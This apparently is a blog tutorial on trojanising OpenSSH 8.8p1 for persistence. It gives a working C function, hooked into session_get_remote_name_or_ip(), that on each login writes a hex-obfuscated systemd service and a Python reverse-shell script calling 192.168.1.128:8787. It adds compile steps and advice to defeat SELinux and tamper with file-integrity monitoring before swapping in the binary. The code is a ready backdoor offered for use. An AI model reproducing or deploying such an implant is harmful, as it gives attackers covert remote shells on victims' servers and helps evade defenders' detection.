Backdooring common Linux services for fun & persistence

OpenSSH

OpenSSH is one of the most used software on *NIX operating system making it a commonly deployed binary that adversary may encounter during post exploitation phase.

We will show you how to tamper OpenSSH sources to turn the binary into a discrete backdoor.

Setting up the environment

Well creating the environment isn't too complicated. Just make sure you have the following :

  • wget
  • gcc
  • make
  • vi / nano / any IDE or text editor

Create a working directory

mkdir openssh-backdoor && cd $_

Get the targeted OpenSSH release source code from Debian's repo.

Make sure to get the exact same version as the targeted system to avoid incompatibilities when implanting the backdoor

wget http://ftp.fr.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.8p1.tar.gz

Once downloaded, extract the archive.

tar xzvf openssh-8.8p1.tar.gz

Finding a good C file to backdoor

Well here it all depends on the behavior you would like to achieve. Here, We wanted our backdoor to be triggered when someone logs in. To do so, we found it would be interresting to trigger the backdoor during session establishment. In OpenSSH, the session.c file is used to do so. In this case, we will target the function that tried to get the name or IP address of the client connecting to the server session_get_remote_name_or_ip().

Patching the code with our backdoor

In our case, we wrote a function that writes a SystemD service (see: SystemD Use & Abuse) and a script to be triggered when the service starts.

void* b4ckd00r()
{
	unsigned char fname[] = "/usr/lib/ssh/.sshd-agent_config.swp";
	// Unistd file exists check, restart if backdoor already implanted
    if( access( fname, F_OK ) == 0 ) {
		// File exists
		system("systemctl restart sshd-agent.service");
	} else {
		FILE *svc;
		// # /usr/lib/systemd/system/sshd-agent.service
		// [Unit]
		// Description=Admin Service

		// [Service]
		// ExecStart=/bin/bash /usr/lib/ssh/sshd-agent
		unsigned char buf1[] = "\x5b\x55\x6e\x69\x74\x5d\x0a\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x3d\x53\x53\x48\x64\x20\x41\x67\x65\x6e\x74\x20\x53\x65\x72\x76\x69\x63\x65\x0a\x0a\x5b\x53\x65\x72\x76\x69\x63\x65\x5d\x0a\x45\x78\x65\x63\x53\x74\x61\x72\x74\x3d\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x2f\x75\x73\x72\x2f\x6c\x69\x62\x2f\x73\x73\x68\x2f\x73\x73\x68\x64\x2d\x61\x67\x65\x6e\x74\x0d\x0a\x0d\x0a";
		svc = fopen("/usr/lib/systemd/system/sshd-agent.service", "w+");
		fputs(buf1, svc);
		fclose(svc);

		FILE *scr;
		// export RHOST="192.168.1.128";export RPORT=8787;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
		unsigned char buf2[] = "\x65\x78\x70\x6f\x72\x74\x20\x52\x48\x4f\x53\x54\x3d\x22\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x32\x38\x22\x3b\x65\x78\x70\x6f\x72\x74\x20\x52\x50\x4f\x52\x54\x3d\x38\x37\x38\x37\x3b\x70\x79\x74\x68\x6f\x6e\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x73\x6f\x63\x6b\x65\x74\x2c\x6f\x73\x2c\x70\x74\x79\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x6f\x73\x2e\x67\x65\x74\x65\x6e\x76\x28\x22\x52\x48\x4f\x53\x54\x22\x29\x2c\x69\x6e\x74\x28\x6f\x73\x2e\x67\x65\x74\x65\x6e\x76\x28\x22\x52\x50\x4f\x52\x54\x22\x29\x29\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x64\x29\x20\x66\x6f\x72\x20\x66\x64\x20\x69\x6e\x20\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x2f\x62\x69\x6e\x2f\x73\x68\x22\x29\x27\x0d\x0a\x0d\x0a";
		scr = fopen("/usr/lib/ssh/sshd-agent", "w+");
		fputs(buf2, scr);
		fclose(scr);

		system("systemctl start sshd-agent.service");
		system("echo -e '\xad\xde\x01\xf0'>/usr/lib/ssh/.sshd-agent_config.swp");
	}
}

We then modify the session_get_remote_name_or_ip() function to call b4ckd00r()

const char *
session_get_remote_name_or_ip(struct ssh *ssh, u_int utmp_size, int use_dns)
{
	b4ckd00r();

	const char *remote = "";

	if (utmp_size > 0)
		remote = auth_get_canonical_hostname(ssh, use_dns);
	if (utmp_size == 0 || strlen(remote) > utmp_size)
		remote = ssh_remote_ipaddr(ssh);
	return remote;
}

Recompiling

Before compiling, run the configure script as such :

./configure \              
                --prefix=/usr \
                --sbindir=/usr/bin \
                --libexecdir=/usr/lib/ssh \
                --sysconfdir=/etc/ssh \
                --with-ldns \
                --with-libedit \
                --with-ssl-engine \
                --with-pam \
                --with-privsep-user=nobody \
                --with-kerberos5=/usr \
                --with-xauth=/usr/bin/xauth \
                --with-mantype=man \
                --with-md5-passwords \
                --with-pid-dir=/run

If the configuration script exists gracefully, you may now recompile the OpenSSH daemon

make

⚠ Do not run ⚠

make install

as this will perform a system-wide installation and we only wish to install our custom daemon.

Setting up the new binary

The proper way of doing this would be to replace the current OpenSSH binanary with the backdoored one, however, you should consider the following :

  • Make sure that SeLinux is not installed, enabled, or that the policy will allow to perform such an action
  • Make sure you compiled OpenSSH in the exact same version as the one on the target system to prevent configuration incompatibilities
  • Make sure to tamper / remove any file monitoring system that would flag the new binary as malicious

Demo

Peek-23-12-2021-11-56

Mastodon